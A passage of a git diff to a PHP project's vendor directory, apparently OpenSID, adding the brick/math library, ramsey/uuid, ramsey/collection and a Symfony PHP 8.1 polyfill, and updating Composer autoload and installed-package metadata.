0; + } + + $blockA = (int) \substr($a, $i, $blockALength); + + $line = ''; + $carry = 0; + + for ($j = $y - $maxDigits;; $j -= $maxDigits) { + $blockBLength = $maxDigits; + + if ($j < 0) { + $blockBLength += $j; + /** @psalm-suppress LoopInvalidation */ + $j = 0; + } + + $blockB = (int) \substr($b, $j, $blockBLength); + + $mul = $blockA * $blockB + $carry; + $value = $mul % $complement; + $carry = ($mul - $value) / $complement; + + $value = (string) $value; + $value = \str_pad($value, $maxDigits, '0', STR_PAD_LEFT); + + $line = $value . $line; + + if ($j === 0) { + break; + } + } + + if ($carry !== 0) { + $line = $carry . $line; + } + + $line = \ltrim($line, '0'); + + if ($line !== '') { + $line .= \str_repeat('0', $x - $blockALength - $i); + $result = $this->add($result, $line); + } + + if ($i === 0) { + break; + } + } + + return $result; + } + + /** + * Performs the division of two non-signed large integers. + * + * @param string $a The first operand. + * @param string $b The second operand. + * + * @return string[] The quotient and remainder. + */ + private function doDiv(string $a, string $b) : array + { + $cmp = $this->doCmp($a, $b); + + if ($cmp === -1) { + return ['0', $a]; + } + + $x = \strlen($a); + $y = \strlen($b); + + // we now know that a >= b && x >= y + + $q = '0'; // quotient + $r = $a; // remainder + $z = $y; // focus length, always $y or $y+1 + + for (;;) { + $focus = \substr($a, 0, $z); + + $cmp = $this->doCmp($focus, $b); + + if ($cmp === -1) { + if ($z === $x) { // remainder < dividend + break; + } + + $z++; + } + + $zeros = \str_repeat('0', $x - $z); + + $q = $this->add($q, '1' . $zeros); + $a = $this->sub($a, $b . $zeros); + + $r = $a; + + if ($r === '0') { // remainder == 0 + break; + } + + $x = \strlen($a); + + if ($x < $y) { // remainder < dividend + break; + } + + $z = $y; + } + + return [$q, $r]; + } + + /** + * Compares two non-signed large numbers. + * + * @param string $a The first operand. + * @param string $b The second operand. + * + * @return int [-1, 0, 1] + */ + private function doCmp(string $a, string $b) : int + { + $x = \strlen($a); + $y = \strlen($b); + + $cmp = $x <=> $y; + + if ($cmp !== 0) { + return $cmp; + } + + return \strcmp($a, $b) <=> 0; // enforce [-1, 0, 1] + } + + /** + * Pads the left of one of the given numbers with zeros if necessary to make both numbers the same length. + * + * The numbers must only consist of digits, without leading minus sign. + * + * @param string $a The first operand. + * @param string $b The second operand. + * + * @return array{string, string, int} + */ + private function pad(string $a, string $b) : array + { + $x = \strlen($a); + $y = \strlen($b); + + if ($x > $y) { + $b = \str_repeat('0', $x - $y) . $b; + + return [$a, $b, $x]; + } + + if ($x < $y) { + $a = \str_repeat('0', $y - $x) . $a; + + return [$a, $b, $y]; + } + + return [$a, $b, $x]; + } +} diff --git a/vendor/brick/math/src/RoundingMode.php b/vendor/brick/math/src/RoundingMode.php new file mode 100644 index 000000000..06936d8db --- /dev/null +++ b/vendor/brick/math/src/RoundingMode.php @@ -0,0 +1,107 @@ += 0.5; otherwise, behaves as for DOWN. + * Note that this is the rounding mode commonly taught at school. + */ + public const HALF_UP = 5; + + /** + * Rounds towards "nearest neighbor" unless both neighbors are equidistant, in which case round down. + * + * Behaves as for UP if the discarded fraction is > 0.5; otherwise, behaves as for DOWN. + */ + public const HALF_DOWN = 6; + + /** + * Rounds towards "nearest neighbor" unless both neighbors are equidistant, in which case round towards positive infinity. + * + * If the result is positive, behaves as for HALF_UP; if negative, behaves as for HALF_DOWN. + */ + public const HALF_CEILING = 7; + + /** + * Rounds towards "nearest neighbor" unless both neighbors are equidistant, in which case round towards negative infinity. + * + * If the result is positive, behaves as for HALF_DOWN; if negative, behaves as for HALF_UP. + */ + public const HALF_FLOOR = 8; + + /** + * Rounds towards the "nearest neighbor" unless both neighbors are equidistant, in which case rounds towards the even neighbor. + * + * Behaves as for HALF_UP if the digit to the left of the discarded fraction is odd; + * behaves as for HALF_DOWN if it's even. + * + * Note that this is the rounding mode that statistically minimizes + * cumulative error when applied repeatedly over a sequence of calculations. + * It is sometimes known as "Banker's rounding", and is chiefly used in the USA. + */ + public const HALF_EVEN = 9; +} diff --git a/vendor/composer/autoload_classmap.php b/vendor/composer/autoload_classmap.php index f7ab24da8..4440eb864 100644 --- a/vendor/composer/autoload_classmap.php +++ b/vendor/composer/autoload_classmap.php @@ -7,6 +7,7 @@ return array( 'Attribute' => $vendorDir . '/symfony/polyfill-php80/Resources/stubs/Attribute.php', + 'CURLStringFile' => $vendorDir . '/symfony/polyfill-php81/Resources/stubs/CURLStringFile.php', 'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php', 'Datamatrix' => $vendorDir . '/tecnickcom/tcpdf/include/barcodes/datamatrix.php', 'FPDF' => $vendorDir . '/karriere/pdf-merge/tcpi/tcpdi.php', @@ -36,6 +37,7 @@ 'PDF417' => $vendorDir . '/tecnickcom/tcpdf/include/barcodes/pdf417.php', 'PhpToken' => $vendorDir . '/symfony/polyfill-php80/Resources/stubs/PhpToken.php', 'QRcode' => $vendorDir . '/tecnickcom/tcpdf/include/barcodes/qrcode.php', + 'ReturnTypeWillChange' => $vendorDir . '/symfony/polyfill-php81/Resources/stubs/ReturnTypeWillChange.php', 'Stringable' => $vendorDir . '/symfony/polyfill-php80/Resources/stubs/Stringable.php', 'TCPDF' => $vendorDir . '/tecnickcom/tcpdf/tcpdf.php', 'TCPDF2DBarcode' => $vendorDir . '/tecnickcom/tcpdf/tcpdf_barcodes_2d.php', diff --git a/vendor/composer/autoload_files.php b/vendor/composer/autoload_files.php index e25eb5949..fc65fa393 100644 --- a/vendor/composer/autoload_files.php +++ b/vendor/composer/autoload_files.php @@ -15,17 +15,19 @@ '7b11c4dc42b3b3023073cb14e519683c' => $vendorDir . '/ralouphie/getallheaders/src/getallheaders.php', '8825ede83f2f289127722d4e842cf7e8' => $vendorDir . '/symfony/polyfill-intl-grapheme/bootstrap.php', 'e69f7f6ee287b969198c3c9d6777bd38' => $vendorDir . '/symfony/polyfill-intl-normalizer/bootstrap.php', - '37a3dc5111fe8f707ab4c132ef1dbc62' => $vendorDir . '/guzzlehttp/guzzle/src/functions_include.php', '320cde22f66dd4f5d3fd621d3e88b98f' => $vendorDir . '/symfony/polyfill-ctype/bootstrap.php', + '37a3dc5111fe8f707ab4c132ef1dbc62' => $vendorDir . '/guzzlehttp/guzzle/src/functions_include.php', 'ef65a1626449d89d0811cf9befce46f0' => $vendorDir . '/illuminate/events/functions.php', '0d59ee240a4cd96ddbb4ff164fccea4d' => $vendorDir . '/symfony/polyfill-php73/bootstrap.php', 'b6b991a57620e2fb6b2f66f03fe9ddc2' => $vendorDir . '/symfony/string/Resources/functions.php', 'def43f6c87e4f8dfd0c9e1b1bab14fe8' => $vendorDir . '/symfony/polyfill-iconv/bootstrap.php', '25072dd6e2470089de65ae7bf11d3109' => $vendorDir . '/symfony/polyfill-php72/bootstrap.php', + '23c18046f52bef3eea034657bafda50f' => $vendorDir . '/symfony/polyfill-php81/bootstrap.php', '1f87db08236948d07391152dccb70f04' => $vendorDir . '/google/apiclient-services/autoload.php', 'decc78cc4436b1292c6c0d151b19445c' => $vendorDir . '/phpseclib/phpseclib/phpseclib/bootstrap.php', 'b46ad4fe52f4d1899a2951c7e6ea56b0' => $vendorDir . '/voku/portable-utf8/bootstrap.php', 'c905303744f29c32abf39880d9e36c05' => $vendorDir . '/agungsugiarto/codeigniter-datables/src/helper.php', 'a8d3953fd9959404dd22d3dfcd0a79f0' => $vendorDir . '/google/apiclient/src/aliases.php', + 'e39a8b23c42d4e1452234d762b03835a' => $vendorDir . '/ramsey/uuid/src/functions.php', '667aeda72477189d0494fecd327c3641' => $vendorDir . '/symfony/var-dumper/Resources/functions/dump.php', ); diff --git a/vendor/composer/autoload_psr4.php b/vendor/composer/autoload_psr4.php index 3caa579c6..a289a05d0 100644 --- a/vendor/composer/autoload_psr4.php +++ b/vendor/composer/autoload_psr4.php @@ -9,6 +9,7 @@ 'voku\\helper\\' => array($vendorDir . '/voku/anti-xss/src/voku/helper'), 'voku\\' => array($vendorDir . '/voku/portable-ascii/src/voku', $vendorDir . '/voku/portable-utf8/src/voku'), 'phpseclib3\\' => array($vendorDir . '/phpseclib/phpseclib/phpseclib'), + 'Symfony\\Polyfill\\Php81\\' => array($vendorDir . '/symfony/polyfill-php81'), 'Symfony\\Polyfill\\Php80\\' => array($vendorDir . '/symfony/polyfill-php80'), 'Symfony\\Polyfill\\Php73\\' => array($vendorDir . '/symfony/polyfill-php73'), 'Symfony\\Polyfill\\Php72\\' => array($vendorDir . '/symfony/polyfill-php72'), @@ -26,6 +27,8 @@ 'Symfony\\Component\\Finder\\' => array($vendorDir . '/symfony/finder'), 'Symfony\\Component\\Console\\' => array($vendorDir . '/symfony/console'), 'Spipu\\Html2Pdf\\' => array($vendorDir . '/spipu/html2pdf/src'), + 'Ramsey\\Uuid\\' => array($vendorDir . '/ramsey/uuid/src'), + 'Ramsey\\Collection\\' => array($vendorDir . '/ramsey/collection/src'), 'Psr\\SimpleCache\\' => array($vendorDir . '/psr/simple-cache/src'), 'Psr\\Log\\' => array($vendorDir . '/psr/log/Psr/Log'), 'Psr\\Http\\Message\\' => array($vendorDir . '/psr/http-factory/src', $vendorDir . '/psr/http-message/src'), @@ -60,5 +63,6 @@ 'Fcm\\' => array($vendorDir . '/edwinhoksberg/php-fcm/src'), 'Doctrine\\Inflector\\' => array($vendorDir . '/doctrine/inflector/lib/Doctrine/Inflector'), 'Carbon\\' => array($vendorDir . '/nesbot/carbon/src/Carbon'), + 'Brick\\Math\\' => array($vendorDir . '/brick/math/src'), 'App\\' => array($baseDir . '/app'), ); diff --git a/vendor/composer/autoload_static.php b/vendor/composer/autoload_static.php index 9403e6126..09dd3f82e 100644 --- a/vendor/composer/autoload_static.php +++ b/vendor/composer/autoload_static.php @@ -16,18 +16,20 @@ class ComposerStaticInit360d90d2e08228facb94015f401f836b '7b11c4dc42b3b3023073cb14e519683c' => __DIR__ . '/..' . '/ralouphie/getallheaders/src/getallheaders.php', '8825ede83f2f289127722d4e842cf7e8' => __DIR__ . '/..' . '/symfony/polyfill-intl-grapheme/bootstrap.php', 'e69f7f6ee287b969198c3c9d6777bd38' => __DIR__ . '/..' . '/symfony/polyfill-intl-normalizer/bootstrap.php', - '37a3dc5111fe8f707ab4c132ef1dbc62' => __DIR__ . '/..' . '/guzzlehttp/guzzle/src/functions_include.php', '320cde22f66dd4f5d3fd621d3e88b98f' => __DIR__ . '/..' . '/symfony/polyfill-ctype/bootstrap.php', + '37a3dc5111fe8f707ab4c132ef1dbc62' => __DIR__ . '/..' . '/guzzlehttp/guzzle/src/functions_include.php', 'ef65a1626449d89d0811cf9befce46f0' => __DIR__ . '/..' . '/illuminate/events/functions.php', '0d59ee240a4cd96ddbb4ff164fccea4d' => __DIR__ . '/..' . '/symfony/polyfill-php73/bootstrap.php', 'b6b991a57620e2fb6b2f66f03fe9ddc2' => __DIR__ . '/..' . '/symfony/string/Resources/functions.php', 'def43f6c87e4f8dfd0c9e1b1bab14fe8' => __DIR__ . '/..' . '/symfony/polyfill-iconv/bootstrap.php', '25072dd6e2470089de65ae7bf11d3109' => __DIR__ . '/..' . '/symfony/polyfill-php72/bootstrap.php', + '23c18046f52bef3eea034657bafda50f' => __DIR__ . '/..' . '/symfony/polyfill-php81/bootstrap.php', '1f87db08236948d07391152dccb70f04' => __DIR__ . '/..' . '/google/apiclient-services/autoload.php', 'decc78cc4436b1292c6c0d151b19445c' => __DIR__ . '/..' . '/phpseclib/phpseclib/phpseclib/bootstrap.php', 'b46ad4fe52f4d1899a2951c7e6ea56b0' => __DIR__ . '/..' . '/voku/portable-utf8/bootstrap.php', 'c905303744f29c32abf39880d9e36c05' => __DIR__ . '/..' . '/agungsugiarto/codeigniter-datables/src/helper.php', 'a8d3953fd9959404dd22d3dfcd0a79f0' => __DIR__ . '/..' . '/google/apiclient/src/aliases.php', + 'e39a8b23c42d4e1452234d762b03835a' => __DIR__ . '/..' . '/ramsey/uuid/src/functions.php', '667aeda72477189d0494fecd327c3641' => __DIR__ . '/..' . '/symfony/var-dumper/Resources/functions/dump.php', ); @@ -43,6 +45,7 @@ class ComposerStaticInit360d90d2e08228facb94015f401f836b ), 'S' => array ( + 'Symfony\\Polyfill\\Php81\\' => 23, 'Symfony\\Polyfill\\Php80\\' => 23, 'Symfony\\Polyfill\\Php73\\' => 23, 'Symfony\\Polyfill\\Php72\\' => 23, @@ -61,6 +64,11 @@ class ComposerStaticInit360d90d2e08228facb94015f401f836b 'Symfony\\Component\\Console\\' => 26, 'Spipu\\Html2Pdf\\' => 15, ), + 'R' => + array ( + 'Ramsey\\Uuid\\' => 12, + 'Ramsey\\Collection\\' => 18, + ), 'P' => array ( 'Psr\\SimpleCache\\' => 16, @@ -125,6 +133,10 @@ class ComposerStaticInit360d90d2e08228facb94015f401f836b array ( 'Carbon\\' => 7, ), + 'B' => + array ( + 'Brick\\Math\\' => 11, + ), 'A' => array ( 'App\\' => 4, @@ -145,6 +157,10 @@ class ComposerStaticInit360d90d2e08228facb94015f401f836b array ( 0 => __DIR__ . '/..' . '/phpseclib/phpseclib/phpseclib', ), + 'Symfony\\Polyfill\\Php81\\' => + array ( + 0 => __DIR__ . '/..' . '/symfony/polyfill-php81', + ), 'Symfony\\Polyfill\\Php80\\' => array ( 0 => __DIR__ . '/..' . '/symfony/polyfill-php80', @@ -213,6 +229,14 @@ class ComposerStaticInit360d90d2e08228facb94015f401f836b array ( 0 => __DIR__ . '/..' . '/spipu/html2pdf/src', ), + 'Ramsey\\Uuid\\' => + array ( + 0 => __DIR__ . '/..' . '/ramsey/uuid/src', + ), + 'Ramsey\\Collection\\' => + array ( + 0 => __DIR__ . '/..' . '/ramsey/collection/src', + ), 'Psr\\SimpleCache\\' => array ( 0 => __DIR__ . '/..' . '/psr/simple-cache/src', @@ -353,6 +377,10 @@ class ComposerStaticInit360d90d2e08228facb94015f401f836b array ( 0 => __DIR__ . '/..' . '/nesbot/carbon/src/Carbon', ), + 'Brick\\Math\\' => + array ( + 0 => __DIR__ . '/..' . '/brick/math/src', + ), 'App\\' => array ( 0 => __DIR__ . '/../..' . '/app', @@ -361,6 +389,7 @@ class ComposerStaticInit360d90d2e08228facb94015f401f836b public static $classMap = array ( 'Attribute' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/Attribute.php', + 'CURLStringFile' => __DIR__ . '/..' . '/symfony/polyfill-php81/Resources/stubs/CURLStringFile.php', 'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php', 'Datamatrix' => __DIR__ . '/..' . '/tecnickcom/tcpdf/include/barcodes/datamatrix.php', 'FPDF' => __DIR__ . '/..' . '/karriere/pdf-merge/tcpi/tcpdi.php', @@ -390,6 +419,7 @@ class ComposerStaticInit360d90d2e08228facb94015f401f836b 'PDF417' => __DIR__ . '/..' . '/tecnickcom/tcpdf/include/barcodes/pdf417.php', 'PhpToken' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/PhpToken.php', 'QRcode' => __DIR__ . '/..' . '/tecnickcom/tcpdf/include/barcodes/qrcode.php', + 'ReturnTypeWillChange' => __DIR__ . '/..' . '/symfony/polyfill-php81/Resources/stubs/ReturnTypeWillChange.php', 'Stringable' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/Stringable.php', 'TCPDF' => __DIR__ . '/..' . '/tecnickcom/tcpdf/tcpdf.php', 'TCPDF2DBarcode' => __DIR__ . '/..' . '/tecnickcom/tcpdf/tcpdf_barcodes_2d.php', diff --git a/vendor/composer/installed.json b/vendor/composer/installed.json index 61d2b46be..ae5443457 100644 --- a/vendor/composer/installed.json +++ b/vendor/composer/installed.json @@ -68,6 +68,69 @@ }, "install-path": "../agungsugiarto/codeigniter-datables" }, + { + "name": "brick/math", + "version": "0.9.3", + "version_normalized": "0.9.3.0", + "source": { + "type": "git", + "url": "https://github.com/brick/math.git", + "reference": "ca57d18f028f84f777b2168cd1911b0dee2343ae" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/brick/math/zipball/ca57d18f028f84f777b2168cd1911b0dee2343ae", + "reference": "ca57d18f028f84f777b2168cd1911b0dee2343ae", + "shasum": "" + }, + "require": { + "ext-json": "*", + "php": "^7.1 || ^8.0" + }, + "require-dev": { + "php-coveralls/php-coveralls": "^2.2", + "phpunit/phpunit": "^7.5.15 || ^8.5 || ^9.0", + "vimeo/psalm": "4.9.2" + }, + "time": "2021-08-15T20:50:18+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "Brick\\Math\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "Arbitrary-precision arithmetic library", + "keywords": [ + "Arbitrary-precision", + "BigInteger", + "BigRational", + "arithmetic", + "bigdecimal", + "bignum", + "brick", + "math" + ], + "support": { + "issues": "https://github.com/brick/math/issues", + "source": "https://github.com/brick/math/tree/0.9.3" + }, + "funding": [ + { + "url": "https://github.com/BenMorel", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/brick/math", + "type": "tidelift" + } + ], + "install-path": "../brick/math" + }, { "name": "codeigniter/framework", "version": "3.1.13", @@ -402,17 +465,17 @@ }, { "name": "google/apiclient-services", - "version": "v0.324.0", - "version_normalized": "0.324.0.0", + "version": "v0.325.0", + "version_normalized": "0.325.0.0", "source": { "type": "git", "url": "https://github.com/googleapis/google-api-php-client-services.git", - "reference": "585cc823c3d59788e4a0829d5b7e41c76950d801" + "reference": "b2d39ef968f0017d6bff3c1da82501a0c575c9ce" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/googleapis/google-api-php-client-services/zipball/585cc823c3d59788e4a0829d5b7e41c76950d801", - "reference": "585cc823c3d59788e4a0829d5b7e41c76950d801", + "url": "https://api.github.com/repos/googleapis/google-api-php-client-services/zipball/b2d39ef968f0017d6bff3c1da82501a0c575c9ce", + "reference": "b2d39ef968f0017d6bff3c1da82501a0c575c9ce", "shasum": "" }, "require": { @@ -421,7 +484,7 @@ "require-dev": { "phpunit/phpunit": "^5.7||^8.5.13" }, - "time": "2023-11-13T01:06:14+00:00", + "time": "2023-11-18T01:04:14+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -443,7 +506,7 @@ ], "support": { "issues": "https://github.com/googleapis/google-api-php-client-services/issues", - "source": "https://github.com/googleapis/google-api-php-client-services/tree/v0.324.0" + "source": "https://github.com/googleapis/google-api-php-client-services/tree/v0.325.0" }, "install-path": "../google/apiclient-services" }, @@ -2790,6 +2853,200 @@ }, "install-path": "../ralouphie/getallheaders" }, + { + "name": "ramsey/collection", + "version": "1.3.0", + "version_normalized": "1.3.0.0", + "source": { + "type": "git", + "url": "https://github.com/ramsey/collection.git", + "reference": "ad7475d1c9e70b190ecffc58f2d989416af339b4" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ramsey/collection/zipball/ad7475d1c9e70b190ecffc58f2d989416af339b4", + "reference": "ad7475d1c9e70b190ecffc58f2d989416af339b4", + "shasum": "" + }, + "require": { + "php": "^7.4 || ^8.0", + "symfony/polyfill-php81": "^1.23" + }, + "require-dev": { + "captainhook/plugin-composer": "^5.3", + "ergebnis/composer-normalize": "^2.28.3", + "fakerphp/faker": "^1.21", + "hamcrest/hamcrest-php": "^2.0", + "jangregor/phpstan-prophecy": "^1.0", + "mockery/mockery": "^1.5", + "php-parallel-lint/php-console-highlighter": "^1.0", + "php-parallel-lint/php-parallel-lint": "^1.3", + "phpcsstandards/phpcsutils": "^1.0.0-rc1", + "phpspec/prophecy-phpunit": "^2.0", + "phpstan/extension-installer": "^1.2", + "phpstan/phpstan": "^1.9", + "phpstan/phpstan-mockery": "^1.1", + "phpstan/phpstan-phpunit": "^1.3", + "phpunit/phpunit": "^9.5", + "psalm/plugin-mockery": "^1.1", + "psalm/plugin-phpunit": "^0.18.4", + "ramsey/coding-standard": "^2.0.3", + "ramsey/conventional-commits": "^1.3", + "vimeo/psalm": "^5.4" + }, + "time": "2022-12-27T19:12:24+00:00", + "type": "library", + "extra": { + "captainhook": { + "force-install": true + }, + "ramsey/conventional-commits": { + "configFile": "conventional-commits.json" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Ramsey\\Collection\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ben Ramsey", + "email": "ben@benramsey.com", + "homepage": "https://benramsey.com" + } + ], + "description": "A PHP library for representing and manipulating collections.", + "keywords": [ + "array", + "collection", + "hash", + "map", + "queue", + "set" + ], + "support": { + "issues": "https://github.com/ramsey/collection/issues", + "source": "https://github.com/ramsey/collection/tree/1.3.0" + }, + "funding": [ + { + "url": "https://github.com/ramsey", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/ramsey/collection", + "type": "tidelift" + } + ], + "install-path": "../ramsey/collection" + }, + { + "name": "ramsey/uuid", + "version": "4.2.3", + "version_normalized": "4.2.3.0", + "source": { + "type": "git", + "url": "https://github.com/ramsey/uuid.git", + "reference": "fc9bb7fb5388691fd7373cd44dcb4d63bbcf24df" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ramsey/uuid/zipball/fc9bb7fb5388691fd7373cd44dcb4d63bbcf24df", + "reference": "fc9bb7fb5388691fd7373cd44dcb4d63bbcf24df", + "shasum": "" + }, + "require": { + "brick/math": "^0.8 || ^0.9", + "ext-json": "*", + "php": "^7.2 || ^8.0", + "ramsey/collection": "^1.0", + "symfony/polyfill-ctype": "^1.8", + "symfony/polyfill-php80": "^1.14" + }, + "replace": { + "rhumsaa/uuid": "self.version" + }, + "require-dev": { + "captainhook/captainhook": "^5.10", + "captainhook/plugin-composer": "^5.3", + "dealerdirect/phpcodesniffer-composer-installer": "^0.7.0", + "doctrine/annotations": "^1.8", + "ergebnis/composer-normalize": "^2.15", + "mockery/mockery": "^1.3", + "moontoast/math": "^1.1", + "paragonie/random-lib": "^2", + "php-mock/php-mock": "^2.2", + "php-mock/php-mock-mockery": "^1.3", + "php-parallel-lint/php-parallel-lint": "^1.1", + "phpbench/phpbench": "^1.0", + "phpstan/extension-installer": "^1.0", + "phpstan/phpstan": "^0.12", + "phpstan/phpstan-mockery": "^0.12", + "phpstan/phpstan-phpunit": "^0.12", + "phpunit/phpunit": "^8.5 || ^9", + "slevomat/coding-standard": "^7.0", + "squizlabs/php_codesniffer": "^3.5", + "vimeo/psalm": "^4.9" + }, + "suggest": { + "ext-bcmath": "Enables faster math with arbitrary-precision integers using BCMath.", + "ext-ctype": "Enables faster processing of character classification using ctype functions.", + "ext-gmp": "Enables faster math with arbitrary-precision integers using GMP.", + "ext-uuid": "Enables the use of PeclUuidTimeGenerator and PeclUuidRandomGenerator.", + "paragonie/random-lib": "Provides RandomLib for use with the RandomLibAdapter", + "ramsey/uuid-doctrine": "Allows the use of Ramsey\\Uuid\\Uuid as Doctrine field type." + }, + "time": "2021-09-25T23:10:38+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "4.x-dev" + }, + "captainhook": { + "force-install": true + } + }, + "installation-source": "dist", + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "Ramsey\\Uuid\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "A PHP library for generating and working with universally unique identifiers (UUIDs).", + "keywords": [ + "guid", + "identifier", + "uuid" + ], + "support": { + "issues": "https://github.com/ramsey/uuid/issues", + "source": "https://github.com/ramsey/uuid/tree/4.2.3" + }, + "funding": [ + { + "url": "https://github.com/ramsey", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/ramsey/uuid", + "type": "tidelift" + } + ], + "install-path": "../ramsey/uuid" + }, { "name": "simplehtmldom/simplehtmldom", "version": "2.0-RC2", @@ -3841,6 +4098,88 @@ ], "install-path": "../symfony/polyfill-php80" }, + { + "name": "symfony/polyfill-php81", + "version": "v1.28.0", + "version_normalized": "1.28.0.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php81.git", + "reference": "7581cd600fa9fd681b797d00b02f068e2f13263b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php81/zipball/7581cd600fa9fd681b797d00b02f068e2f13263b", + "reference": "7581cd600fa9fd681b797d00b02f068e2f13263b", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "time": "2023-01-26T09:26:14+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "1.28-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "installation-source": "dist", + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php81\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 8.1+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-php81/tree/v1.28.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "install-path": "../symfony/polyfill-php81" + }, { "name": "symfony/process", "version": "v5.4.28", @@ -4435,13 +4774,20 @@ "version_normalized": "dev-main", "source": { "type": "git", - "url": "https://github.com/OpenSID/tema-esensi", - "reference": "7ff7b197ac7dfb8dd527d61a1e5668252906977c" + "url": "https://github.com/OpenSID/tema-esensi.git", + "reference": "c6be9a3690fd6ba487bdaf52a623e94b445a9e4f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/OpenSID/tema-esensi/zipball/c6be9a3690fd6ba487bdaf52a623e94b445a9e4f", + "reference": "c6be9a3690fd6ba487bdaf52a623e94b445a9e4f", + "shasum": "" }, - "time": "2023-08-22T15:49:01+00:00", + "time": "2023-11-20T02:39:22+00:00", "default-branch": true, "type": "library", "installation-source": "source", + "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-3.0-or-later" ], @@ -4455,8 +4801,12 @@ "homepage": "https://github.com/OpenSID/tema-esensi", "keywords": [ "OpenSID", - "Themes" + "themes" ], + "support": { + "issues": "https://github.com/OpenSID/tema-esensi/issues", + "source": "https://github.com/OpenSID/tema-esensi/tree/main" + }, "install-path": "../themes/esensi" }, { @@ -4465,12 +4815,19 @@ "version_normalized": "dev-premium", "source": { "type": "git", - "url": "https://github.com/OpenSID/tema-natra", - "reference": "7ed93ac3749d9d40083312206d3037b4db5c5435" + "url": "https://github.com/OpenSID/tema-natra.git", + "reference": "fed857fa17567af394b0b87815e1b2a7f7dce72a" }, - "time": "2023-08-22T16:21:13+00:00", + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/OpenSID/tema-natra/zipball/fed857fa17567af394b0b87815e1b2a7f7dce72a", + "reference": "fed857fa17567af394b0b87815e1b2a7f7dce72a", + "shasum": "" + }, + "time": "2023-11-20T02:37:18+00:00", "type": "library", "installation-source": "source", + "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-3.0-or-later" ], @@ -4484,8 +4841,12 @@ "homepage": "https://github.com/OpenSID/tema-natra", "keywords": [ "OpenSID", - "Themes" + "themes" ], + "support": { + "issues": "https://github.com/OpenSID/tema-natra/issues", + "source": "https://github.com/OpenSID/tema-natra/tree/premium" + }, "install-path": "../themes/natra" }, { diff --git a/vendor/composer/installed.php b/vendor/composer/installed.php index b9781acf2..a876aa46d 100644 --- a/vendor/composer/installed.php +++ b/vendor/composer/installed.php @@ -1,9 +1,9 @@ array( 'name' => 'opendesa/opensid', - 'pretty_version' => '2311.1.0.x-dev', - 'version' => '2311.1.0.9999999-dev', - 'reference' => 'c8c0e494825b21cc037677c1a32380e559a64ecf', + 'pretty_version' => 'dev-2311.1.0-clear', + 'version' => 'dev-2311.1.0-clear', + 'reference' => '5ec15367a4b55c16ad8786ec47c65bf513838fe2', 'type' => 'project', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), @@ -19,6 +19,15 @@ 'aliases' => array(), 'dev_requirement' => false, ), + 'brick/math' => array( + 'pretty_version' => '0.9.3', + 'version' => '0.9.3.0', + 'reference' => 'ca57d18f028f84f777b2168cd1911b0dee2343ae', + 'type' => 'library', + 'install_path' => __DIR__ . '/../brick/math', + 'aliases' => array(), + 'dev_requirement' => false, + ), 'codeigniter/framework' => array( 'pretty_version' => '3.1.13', 'version' => '3.1.13.0', @@ -65,9 +74,9 @@ 'dev_requirement' => false, ), 'google/apiclient-services' => array( - 'pretty_version' => 'v0.324.0', - 'version' => '0.324.0.0', - 'reference' => '585cc823c3d59788e4a0829d5b7e41c76950d801', + 'pretty_version' => 'v0.325.0', + 'version' => '0.325.0.0', + 'reference' => 'b2d39ef968f0017d6bff3c1da82501a0c575c9ce', 'type' => 'library', 'install_path' => __DIR__ . '/../google/apiclient-services', 'aliases' => array(), @@ -272,9 +281,9 @@ 'dev_requirement' => false, ), 'opendesa/opensid' => array( - 'pretty_version' => '2311.1.0.x-dev', - 'version' => '2311.1.0.9999999-dev', - 'reference' => 'c8c0e494825b21cc037677c1a32380e559a64ecf', + 'pretty_version' => 'dev-2311.1.0-clear', + 'version' => 'dev-2311.1.0-clear', + 'reference' => '5ec15367a4b55c16ad8786ec47c65bf513838fe2', 'type' => 'project', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), @@ -434,6 +443,30 @@ 'aliases' => array(), 'dev_requirement' => false, ), + 